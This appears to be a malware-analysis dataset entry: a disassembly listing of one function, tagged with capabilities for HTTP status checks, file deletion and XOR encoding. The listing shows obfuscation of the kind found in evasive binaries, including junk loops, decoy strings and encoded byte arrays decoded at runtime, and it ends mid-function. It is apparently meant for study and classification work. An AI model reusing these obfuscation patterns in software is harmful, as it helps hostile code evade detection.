Function at 0x1001b1b3
Capabilities:
Check http status code
Delete file
Encode data using xor

Disassembly:
mov eax, 0x1005f335
call fcn.1005e378
sub esp, 0x53c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x138], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x178], ebx
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x170], ebx
push ecx
push ebx
push ecx
mov byte [ebp - 4], 1
mov dword [ebp - 0x28], 0xfe38
push ecx
call fcn.1001a814
add esp, 0x10
mov byte [ebp - 0x41], bl
lea eax, [ebp - 0x41]
mov dl, 1
push eax
push 0x2fc7
push ecx
call fcn.10019ff3
add esp, 0xc
lea ecx, [ebp - 0x368]
push 1
call fcn.1000e43e
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x334]
push 4
pop eax
mov dword [ebp - 0x28], 0xd9d75405
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x24], ebx
push eax
call fcn.1000e43e
push 3
lea ecx, [ebp - 0x2f0]
mov byte [ebp - 4], 3
call fcn.1000e43e
mov byte [ebp - 4], 4
mov dword [ebp - 0x14], 0xb6fb96f
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x220], 0x8600
mov dword [ebp - 0x1fc], 0xa10b
mov dword [ebp - 0x3c], ebx
jmp 0x1001b297
mov eax, dword [ebp - 0x3c]
mov dword [ebp + eax*4 - 0x140], 0xfffffff7
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 2
jl 0x1001b286
lea eax, [ebp - 0x368]
push eax
push 0x1d2c
push ecx
push 0x1d44
push 0x6b00
push 0x3e56
push ecx
push 0x58c
push 0x5a55
push 0x185e
push ebx
lea eax, [ebp - 0x3c]
mov ecx, 0x1cb3
push 0x6900
push eax
call fcn.1001ad0f
add esp, 0x34
lea eax, [ebp - 0x3c]
mov edx, 0xeae
mov ecx, 0x4386
push eax
push 0x7ce
push ebx
push 0x60fe
push ebx
push 1
push 0x4575
push 0x1ac6
lea eax, [ebp - 0x334]
push 0x64b5
push eax
call fcn.1001b042
push 1
push 0x435e
push 1
push 0x34a3
push 0x28c8
push 0x724b
push 0x4626
push 0x5042
push 0x3584
push ebx
lea eax, [ebp - 0x3c]
mov ecx, 0x63f1
push eax
push 0x1872
lea eax, [ebp - 0x2f0]
push eax
push 0x6c62
call fcn.1001af14
mov eax, dword [ebp - 0x13c]
add esp, 0x60
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
inc edx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x1001b4d8
mov dword [ebp - 0x18], ebx
jmp 0x1001b396
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2cc], 0xffffffff
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1001b385
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x140]
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x140], ecx
test ecx, ecx
je 0x1001b49a
mov dword [ebp - 0x18], 0xc3e5f88
mov dword [ebp - 0x38], 0x1552d49a
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], 0xffff0002
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x13c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x140]
cmp dword [ebp - 0x220], ebx
je 0x1001b400
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x140]
mov eax, dword [ebp - 0x1fc]
mov dword [ebp - 0x2c8], edx
cmp dword [ebp - 0x2c0], ebx
je 0x1001b450
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x2c8]
imul eax, dword [ebp - 0x24], 0xffff7caf
test eax, eax
jne 0x1001b43f
mov esi, ebx
cmp dword [ebp - 0x38], ebx
je 0x1001b441
mov esi, edx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, esi
setl cl
cmp ecx, dword [ebp - 0x18]
je 0x1001b452
mov edx, ebx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x140]
mov eax, dword [ebp - 0x18]
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
xor edx, edx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setge dl
imul eax, edx
sub eax, 0x319f
jne 0x1001b492
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x1001b4cc
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001b4b1
sub esp, 0xc
call fcn.10019f12
xor edx, edx
add esp, 0xc
inc edx
push edx
lea eax, [ebp - 0x3e]
mov byte [ebp - 0x3e], bl
push eax
push 0x6e65
push ebx
mov ecx, 0x5522
call fcn.1001ab2d
add esp, 0x10
dec dword [ebp - 0x14]
push 1
pop edx
jns 0x1001b380
lea ecx, [ebp - 0x2f0]
call fcn.1000e4c1
lea ecx, [ebp - 0x334]
call fcn.1000e4c1
lea ecx, [ebp - 0x368]
mov byte [ebp - 4], 1
call fcn.1000e4c1
push 0x68
pop eax
push 2
mov ecx, ebx
mov dword [ebp - 0x90], 0xd04ff03
mov dword [ebp - 0x8c], 0xc0b0602
mov dword [ebp - 0x88], 0x2c069301
mov dword [ebp - 0x84], 0x4c016e05
mov dword [ebp - 0x80], 0x1e0a0d0c
mov dword [ebp - 0x7c], 0x37000609
mov dword [ebp - 0x78], 0x1082c07
mov word [ebp - 0x37e], ax
pop esi
mov dword [ebp - 0x148], ecx
cmp esi, 8
jne 0x1001b55f
push 2
pop ecx
mov dword [ebp - 0x148], ecx
jmp 0x1001b5b0
movzx edx, byte [ebp + esi - 0x8f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x92]
movzx eax, word [ebp + eax*2 - 0x384]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x90]
push ecx
push 0x33da
push ecx
mov word [ebp + eax*2 - 0x384], cx
lea eax, [ebp - 0x148]
push eax
push ebx
call fcn.1001afe4
mov ecx, dword [ebp - 0x148]
add esp, 0x14
add esi, 2
cmp esi, 0x1c
jb 0x1001b54f
xor eax, eax
mov word [ebp - 0x36a], ax
mov dword [ebp - 0x24], 0x3a33
cmp dword [ebp - 0x24], 0x3d35
jle 0x1001b618
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x448]
and eax, edi
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001b5f1
mov eax, dword [eax]
push eax
call fcn.10046233
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x448]
call fcn.1000ebf5
inc esi
cmp esi, 0x1f24
jl 0x1001b5d5
inc edi
cmp edi, 0x3bc1
jl 0x1001b5d3
cmp dword [ebp - 0x24], 0x3669
jge 0x1001b62c
push str.ronlq_ddiwjief_mnqffcbhc_zsevhcdh_nlcwvfafd_qgcx_iqumhde_vurkna_hnjwxw_teigwh_udvokf
call fcn.10046233
pop ecx
push ecx
xor eax, eax
push ecx
inc eax
push eax
push ecx
push ecx
mov dword [ebp - 4], eax
call fcn.1001a0f5
add esp, 0x14
mov dword [ebp - 0x6c], 0xc019a03
mov ecx, ebx
mov dword [ebp - 0x68], 0x6000706
mov dword [ebp - 0x64], 0xf04f701
mov dword [ebp - 0x60], 0x48074c02
push 0x63
pop eax
push 2
mov word [ebp - 0x5c], 0x605
mov word [ebp - 0x2a6], ax
pop esi
mov dword [ebp - 0x14c], ecx
cmp esi, 8
jne 0x1001b686
push 2
pop ecx
mov dword [ebp - 0x14c], ecx
jmp 0x1001b6cf
movzx edx, byte [ebp + esi - 0x6b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x6e]
movzx eax, word [ebp + eax*2 - 0x2ac]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x6c]
push ecx
mov word [ebp + eax*2 - 0x2ac], cx
lea eax, [ebp - 0x14c]
push eax
push ecx
push 0x257a
push 1
call fcn.1001afe4
mov ecx, dword [ebp - 0x14c]
add esp, 0x14
add esi, 2
cmp esi, 0x12
jb 0x1001b676
xor eax, eax
lea ecx, [ebp - 0x358]
push 2
mov word [ebp - 0x29c], ax
call fcn.1000e43e
lea eax, [ebp - 0x228]
mov byte [ebp - 4], 7
push eax
push ebx
push 0x2fee
lea eax, [ebp - 0x358]
mov dword [ebp - 0x1b8], 0xdf1febae
push eax
push 0x3fc4
push 0x50b7
mov dl, 1
xor cl, cl
call fcn.1001a454
add esp, 0x14
lea ecx, [ebp - 0x1b8]
mov dl, 1
call fcn.1001a2bc
pop ecx
lea ecx, [ebp - 0x358]
mov byte [ebp - 4], 1
call fcn.1000e4c1
xor eax, eax
mov dword [ebp - 0x338], 7
mov word [ebp - 0x34c], ax
lea ecx, [ebp - 0x34c]
lea eax, [ebp - 0x2ac]
mov dword [ebp - 0x33c], ebx
push eax
call fcn.1001703a
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x328]
xor eax, eax
mov dword [ebp - 0x314], 7
mov word [ebp - 0x328], ax
lea eax, [ebp - 0x384]
push eax
mov dword [ebp - 0x318], ebx
call fcn.1001703a
lea eax, [ebp - 0x328]
push eax
lea ecx, [ebp - 0x400]
call fcn.10017a84
lea eax, [ebp - 0x34c]
push eax
lea ecx, [ebp - 0x3e8]
call fcn.10017a84
push ebx
push 1
lea ecx, [ebp - 0x328]
call fcn.1000edc9
push ebx
push 1
lea ecx, [ebp - 0x34c]
call fcn.1000edc9
mov byte [ebp - 4], 9
lea eax, [ebp - 0x3d0]
push dword [ebp - 0x228]
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x18c], ebx
push eax
lea eax, [ebp - 0x400]
mov dword [ebp - 0x188], ebx
push eax
push ebx
mov dword [ebp - 0x184], ebx
call fcn.1001d176
push fcn.10017e0b
push 1
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x400]
push 0x30
push eax
call fcn.10045feb
push 1
lea ecx, [ebp - 0x280]
call fcn.1000e43e
push 1
push 0x2eed
lea eax, [ebp - 0x280]
mov byte [ebp - 4], 0xc
push eax
mov dword [ebp - 0x4c], ebx
lea ecx, [ebp - 0x2e4]
mov dword [ebp - 0x1d0], 0xffffffff
xor dl, dl
push 1
call fcn.1001ab2d
push 1
push 0x22ae
push ebx
mov edx, 0x45d9
mov cl, 1
call fcn.1001abc7
add esp, 0x1c
mov dword [ebp - 0x4c], ebx
jmp 0x1001b8d9
push 0x3a97
lea eax, [ebp - 0x1c0]
mov dword [ebp - 0x1c0], 0x8f6a1c3d
push eax
push 1
lea eax, [ebp - 0x1c8]
mov dword [ebp - 0x1c8], 0xe2efe8e6
push eax
push ebx
push 1
push 0x2e09
lea eax, [ebp - 0x280]
mov edx, 0x5b84
push eax
lea eax, [ebp - 0x1d0]
push eax
push 0x7a4e
lea ecx, [ebp - 0x4c]
call fcn.1001b042
add esp, 0x28
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], ebx
jle 0x1001b882
lea ecx, [ebp - 0x280]
mov byte [ebp - 4], 0xb
call fcn.1000e4c1
push 7
pop ecx
xor eax, eax
lea edi, [ebp - 0x384]
rep stosd dword es:[edi], eax
push 2
lea ecx, [ebp - 0x25c]
call fcn.1000e43e
lea eax, [ebp - 0x35c]
mov byte [ebp - 4], 0xd
push eax
lea eax, [ebp - 0x25c]
mov dword [ebp - 0x1d8], 0xbdba76aa
push eax
push ecx
push ecx
push 0x6ac9
push 0x538d
push 0x7b26
xor cl, cl
call fcn.1001aff8
add esp, 0x1c
lea eax, [ebp - 0x25c]
mov edx, 0x3b5e
push 0x2c8
push ecx
push eax
push ecx
push ecx
push 0x2a3f
push 0x5355
push ebx
lea ecx, [ebp - 0x1d8]
call fcn.10019f29
add esp, 0x20
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x25c]
call fcn.1000e4c1
xor eax, eax
lea edi, [ebp - 0x2ac]
stosd dword es:[edi], eax
lea edx, [ebp - 0x18c]
push 1
push 0x48f5
push 0x68a2
stosd dword es:[edi], eax
mov ecx, 0x45fb
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 8]
push eax
push 1
push 1
call fcn.1001a3cd
mov dword [ebp - 0x24], 0x5716
add esp, 0x18
cmp dword [ebp - 0x24], 0x5a7f
jle 0x1001ba2d
push ebx
push ebx
push 0xbc8
push ebx
push 0x238d
push ebx
push 0x1d57
push 0x914
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov edx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x1007acd8
xor eax, edi
or eax, edx
cdq
push edx
push eax
call fcn.1000e15c
mov edx, dword [ebp - 0x14]
inc ebx
cmp ebx, 0x6464
jl 0x1001b9e9
inc esi
push 0
pop ebx
cmp esi, 0x1b57
jl 0x1001b9e6
inc edi
cmp edi, 0x4fe1
jl 0x1001b9e4
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 0x52ac
jl 0x1001b9e2
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x24], 0x56ed
jge 0x1001ba67
mov edx, str.onjjswj_bjusdrxwy_gagu_inyjjrpfa_nhdcthm
mov ecx, 0x1007acd8
call fcn.10010ea8
jmp 0x1001ba67
push 1
lea ecx, [ebp - 0x250]
mov dword [ebp - 4], 0xb
call fcn.1000e43e
mov byte [ebp - 4], 0x10
xor edx, edx
mov dword [ebp - 0x50], 0xfffffff9
inc edx
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x154], 0xfffffff7
mov dword [ebp - 0x144], edx
mov dword [ebp - 0x14], ebx
jmp 0x1001bab4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x250]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x1001baa5
mov eax, dword [ebp - 0x250]
xor edx, edx
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x250]
mov dword [ebp - 0x50], 0xffffffff
mov ecx, dword [ebp - 0x28]
mov esi, dword [eax]
mov eax, dword [ebp - 0x50]
cmp eax, ecx
setge dl
xor eax, eax
cmp esi, edx
setl al
imul eax, esi
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], ebx
je 0x1001bb3c
push 0x7f27
push 1
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x1e0], 2
push eax
push 0x25a9
push 0x1953
push 0x54cc
xor dl, dl
mov cl, 1
call fcn.1001a454
add esp, 0x18
jmp 0x1001bb52
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001bb52
push ecx
push 1
push ecx
push ecx
call fcn.1001a814
add esp, 0x10
lea eax, [ebp - 0x144]
push eax
push ebx
push 0x4a35
lea eax, [ebp - 0x50]
push eax
push 0x289b
lea edx, [ebp - 0x154]
call fcn.1001aa04
add esp, 0x14
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x250]
call fcn.1000e4c1
push ebx
push 0x94af
push 0x10f71
call fcn.100302af
pop ecx
pop ecx
call eax
mov dword [ebp - 0x14], ebx
jmp 0x1001bbaf
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1f8], 0xad313dd3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001bb9e
mov dword [ebp - 0x1f4], 0xffffffef
jmp 0x1001bbed
push 1
push 0x11e
push 0x531
push 0x4719
push ebx
push 1
mov edx, 0x37c3
mov ecx, 0x2782
call fcn.1001a3cd
add esp, 0x18
inc dword [ebp - 0x1f4]
cmp dword [ebp - 0x1f4], 0x1d
jg 0x1001bbc1
push 0x6724
push 1
push 0x6020
push 0x21b2
lea eax, [ebp - 0x2e0]
mov dl, 1
push eax
push 0x78be
mov cl, dl
call fcn.1001a454
add esp, 0x18
mov dword [ebp - 0x34], ebx
lea ecx, [ebp - 0x1e8]
xor eax, eax
inc eax
lea edx, [ebp - 0x23c]
mov dword [ebp - 0x244], eax
push ecx
push 0x4b5b
push ecx
lea ecx, [ebp - 0x234]
mov dword [ebp - 0x23c], 0xffffffff
push ecx
mov dword [ebp - 0x234], 0xe520c3d8
lea ecx, [ebp - 0x244]
push eax
mov dword [ebp - 0x1e8], 0x8093af8e
call fcn.1001a85e
add esp, 0x14
push 1
call fcn.1001a982
pop ecx
push 0x45
pop eax
push 2
mov dword [ebp - 0x130], 0x7d036123
mov ecx, ebx
mov dword [ebp - 0x12c], 0x40c0806
mov dword [ebp - 0x128], 0x216771b
mov word [ebp - 0x124], 0x3c25
mov byte [ebp - 0x122], bl
mov dword [ebp - 0x121], 0x1d4a0506
mov dword [ebp - 0x11d], 0x1c0d1405
mov dword [ebp - 0x119], 0x19030b09
mov dword [ebp - 0x115], 0x2741103
mov byte [ebp - 0x111], bl
mov dword [ebp - 0x110], 0x15076909
mov dword [ebp - 0x10c], 0xd0a010d
mov word [ebp - 0x108], 0x190e
mov byte [ebp - 0x106], 0x13
mov byte [ebp - 0x105], bl
mov dword [ebp - 0x104], 0x7101b21
mov dword [ebp - 0x100], 0x7f1e0820
mov dword [ebp - 0xfc], 0x1c156b18
mov dword [ebp - 0xf8], 0x77040517
mov dword [ebp - 0xf4], 0x81a7b24
mov dword [ebp - 0xf0], 0x60f071f
mov dword [ebp - 0xec], 0xb220312
mov dword [ebp - 0xe8], 0xc5855c03
mov dword [ebp - 0xe4], 0x1017d08
mov word [ebp - 0x46a], ax
pop esi
cmp esi, 0x48
jne 0x1001bd75
push 4
pop ecx
push 0x4a
pop esi
jmp 0x1001bdab
movzx edx, byte [ebp + esi - 0x12f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x132]
movzx eax, word [ebp + eax*2 - 0x4b0]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x130]
mov word [ebp + eax*2 - 0x4b0], cx
mov ecx, ebx
add esi, 2
cmp esi, 0x50
jb 0x1001bd68
xor eax, eax
mov word [ebp - 0x464], ax
mov dword [ebp - 0x20], 0x6d444182
mov dword [ebp - 0x2c], 0x24b6
cmp dword [ebp - 0x2c], 0x2582
jle 0x1001be21
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov edi, esi
mov esi, 0x6a3f
mov eax, edi
lea ecx, [ebp - 0x418]
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001bdf9
mov eax, dword [eax]
push eax
call fcn.10046233
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x418]
call fcn.1000ebf5
dec edi
dec esi
jne 0x1001bddf
mov esi, dword [ebp - 0x24]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x6a83
jl 0x1001bdd8
cmp dword [ebp - 0x2c], 0x23b4
jge 0x1001be35
push str.bturhaq_lbxmcrb_plgknbvi_vdpmnqe_llje_rpxsmhb
call fcn.10046233
pop ecx
mov dword [ebp - 4], 0xb
mov dword [ebp - 0x14], ebx
jmp 0x1001be52
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3a0], 0xfd5464b5
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001be41
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x20], ebx
jl 0x1001be79
push ecx
mov byte [ebp - 0x3f], bl
lea edx, [ebp - 0x3f]
push 1
call fcn.1001a9c4
dec dword [ebp - 0x20]
pop ecx
pop ecx
jns 0x1001be64
xor eax, eax
mov dword [ebp - 0x260], 7
mov word [ebp - 0x274], ax
lea ecx, [ebp - 0x274]
lea eax, [ebp - 0x4b0]
mov dword [ebp - 0x264], ebx
push eax
call fcn.1001703a
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x30], 0xe307
mov dword [ebp - 0x48], 0xd3aeb590
mov dword [ebp - 0x17c], 0x6df7
push 1
call fcn.1000e43e
push 0x1c3b
push 1
lea eax, [ebp - 0x300]
mov byte [ebp - 4], 0x14
push eax
lea eax, [ebp - 0x2fc]
mov dword [ebp - 0x238], 0xe7587697
push 0x48ab
mov dword [ebp - 0x20c], 0x97d93cb
mov edx, 0x635
mov dword [ebp - 0x1bc], 0xe86de1f1
push eax
call fcn.1001aa04
mov dword [ebp - 0x24], 0x13eb
add esp, 0x14
cmp dword [ebp - 0x24], 0x1552
jle 0x1001bf6d
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x460]
xor eax, edi
cdq
push edx
push eax
call fcn.10001a9f
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001bf46
mov eax, dword [eax]
push eax
call fcn.10046233
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x460]
call fcn.1000ebf5
inc esi
cmp esi, 0x9eb
jl 0x1001bf2a
inc edi
cmp edi, 0x6c0e
jl 0x1001bf28
cmp dword [ebp - 0x30], ebx
je 0x1001bf81
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x17c], 0x42c7
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x24], 0x1245
jge 0x1001bfa8
push str.klemxujb_recx_btaftn_tytaxzwz_sqtao_uova_nporiav_zgmquswq_wiwmhn_stevtg_bxmmtjiv
call fcn.10046233
pop ecx
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 0xffffffeb
jl 0x1001c0dd
mov dword [ebp - 0x14], 0x1509
cmp dword [ebp - 0x14], 0x1595
jle 0x1001c022
mov eax, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0x57b5
mov esi, ebx
mov edi, ebx
lea ebx, [esi + eax]
mov eax, edi
mov ecx, 0x1007acd8
or eax, ebx
cdq
push edx
push eax
call fcn.1000e15c
inc edi
cmp edi, 0x2ab1
jl 0x1001bfe2
mov eax, dword [ebp - 0x20]
inc esi
push 0
pop ebx
cmp esi, 0xb8f
jl 0x1001bfdd
dec eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
jne 0x1001bfdb
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp eax, 0x595a
jl 0x1001bfd1
mov dword [ebp - 0x22c], 8
mov byte [ebp - 4], 0x17
cmp dword [ebp - 0x14], 0x1441
jge 0x1001c066
mov edx, str.yhxbkodp_oqsvdae_zhpqys_fjpbgmxlo_ude_cohejmeq
mov ecx, 0x1007acd8
call fcn.10010ea8
jmp 0x1001c066
push ebx
lea eax, [ebp - 0x240]
mov dword [ebp - 4], 0x14
push eax
push 1
lea eax, [ebp - 0x48]
mov dword [ebp - 0x1c4], 7
push eax
lea eax, [ebp - 0x17c]
mov dword [ebp - 0x240], 7
push eax
lea eax, [ebp - 0x1bc]
push eax
lea eax, [ebp - 0x30]
push eax
push 0x233a
lea eax, [ebp - 0x22c]
push eax
push 1
push 0x70d9
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x1c4]
push 0x710a
push eax
lea ecx, [ebp - 0x20c]
call fcn.1001af14
add esp, 0x38
dec dword [ebp - 0x30]
jmp 0x1001bfb2
lea ecx, [ebp - 0x2fc]
mov byte [ebp - 4], 0x13
call fcn.1000e4c1
push 0x13
xor eax, eax
lea edi, [ebp - 0x4b0]
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 0x28], 0xfffffff8
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001c128
push 1
push 0x5500
push 0x456b
push 1
mov dl, 1
mov ecx, 0x5131
call fcn.1001ab2d
add esp, 0x10
push 1
push 0x120b
push 1
mov edx, 0x7d0a
mov cl, 1
call fcn.1001abc7
mov dword [ebp - 0x14], 0xf251d69f
xor edx, edx
mov dword [ebp - 0x2c], 0x35637001
add esp, 0xc
inc edx
mov dword [ebp - 0x2bc], edx
mov dword [ebp - 0x2b8], edx
mov dword [ebp - 0x2b4], edx
mov dword [ebp - 0x2b0], edx
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1001c186
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x74], 0x6a53d06c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001c178
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0x14], ebx
jl 0x1001c2a5
mov dword [ebp - 0x18], 0x732aa61f
lea ecx, [ebp - 0x30c]
mov dword [ebp - 0x38], edx
push 3
call fcn.1000e43e
mov byte [ebp - 4], 0x19
push 3
pop edx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x38], 0x248e6bae
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1001c1db
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x30c]
mov dword [eax + ecx*4], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001c1c8
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x74], ebx
jne 0x1001c1f9
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x74], ebx
jne 0x1001c1f9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x74]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x62b000cd
mov dword [ebp - 0x18], ebx
jmp 0x1001c284
mov dword [ebp - 0x20], ebx
jmp 0x1001c22c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x180], 7
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 1
jl 0x1001c21b
push 1
push 0x2bc5
push 1
push 0x70d
push 0x46e1
push 0x6ab1
push 0x40e6
lea eax, [ebp - 0x3d]
mov byte [ebp - 0x3d], bl
push eax
push 0x15a4
push 1
push 0x203d
push 0x5ac9
push 0x6630
push 0x60b2
mov ecx, 0x3a6f
call fcn.1001af14
add esp, 0x38
inc dword [ebp - 0x24]
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xffffffe7
jg 0x1001c216
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 0x13
call fcn.1000e4c1
dec dword [ebp - 0x14]
push 1
pop edx
jns 0x1001c198
cmp dword [ebp - 0x70], ebx
jne 0x1001c2c6
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x2c]
jne 0x1001c2c6
mov eax, dword [ebp - 0x28]
mov ecx, 0x69a3
mov eax, dword [ebp - 0x14]
mov esi, ebx
mov eax, dword [ebp - 0x74]
sub ecx, eax
je 0x1001c2c8
mov esi, edx
mov ecx, dword [ebp - 0x70]
xor eax, eax
mov dword [ebp - 0x2bc], ecx
neg ecx
cmp ecx, esi
mov dword [ebp - 0xe0], 0x1909701d
push 0x34
setne al
mov dword [ebp - 0xdc], 0x72231d19
mov dword [ebp - 0x38], eax
mov ecx, ebx
pop eax
push 2
mov dword [ebp - 0xd8], 0x9217b20
mov dword [ebp - 0xd4], 0x74107517
mov dword [ebp - 0xd0], 0x41e7314
mov dword [ebp - 0xcc], 0x4d25761a
mov dword [ebp - 0xc8], 0x72034b08
mov byte [ebp - 0xc4], 0x11
mov byte [ebp - 0xc3], bl
mov dword [ebp - 0xc2], 0x7a04070b
mov dword [ebp - 0xbe], 0x1d051418
mov byte [ebp - 0xba], dl
mov dword [ebp - 0xb9], 0xd722476
mov dword [ebp - 0xb5], 0x7050207
mov dword [ebp - 0xb1], 0x16021207
mov byte [ebp - 0xad], dl
mov dword [ebp - 0xac], 0x6f0e7022
mov dword [ebp - 0xa8], 0x6e136e1b
mov dword [ebp - 0xa4], 0x62bd102
mov dword [ebp - 0xa0], 0xc7f0a6b
mov word [ebp - 0x9c], 0x1c0e
mov byte [ebp - 0x9a], 7
mov byte [ebp - 0x99], bl
mov dword [ebp - 0x98], 0x15421f4b
mov word [ebp - 0x94], 0xf0a
mov byte [ebp - 0x92], 2
mov word [ebp - 0x4c6], ax
pop esi
mov dword [ebp - 0x150], ecx
cmp esi, 0x3c
jne 0x1001c3ee
push 3
pop ecx
push 0x3d
mov dword [ebp - 0x150], ecx
pop esi
jmp 0x1001c44e
movzx edx, byte [ebp + esi - 0xdf]
mov eax, esi
sub eax, ecx
push ebx
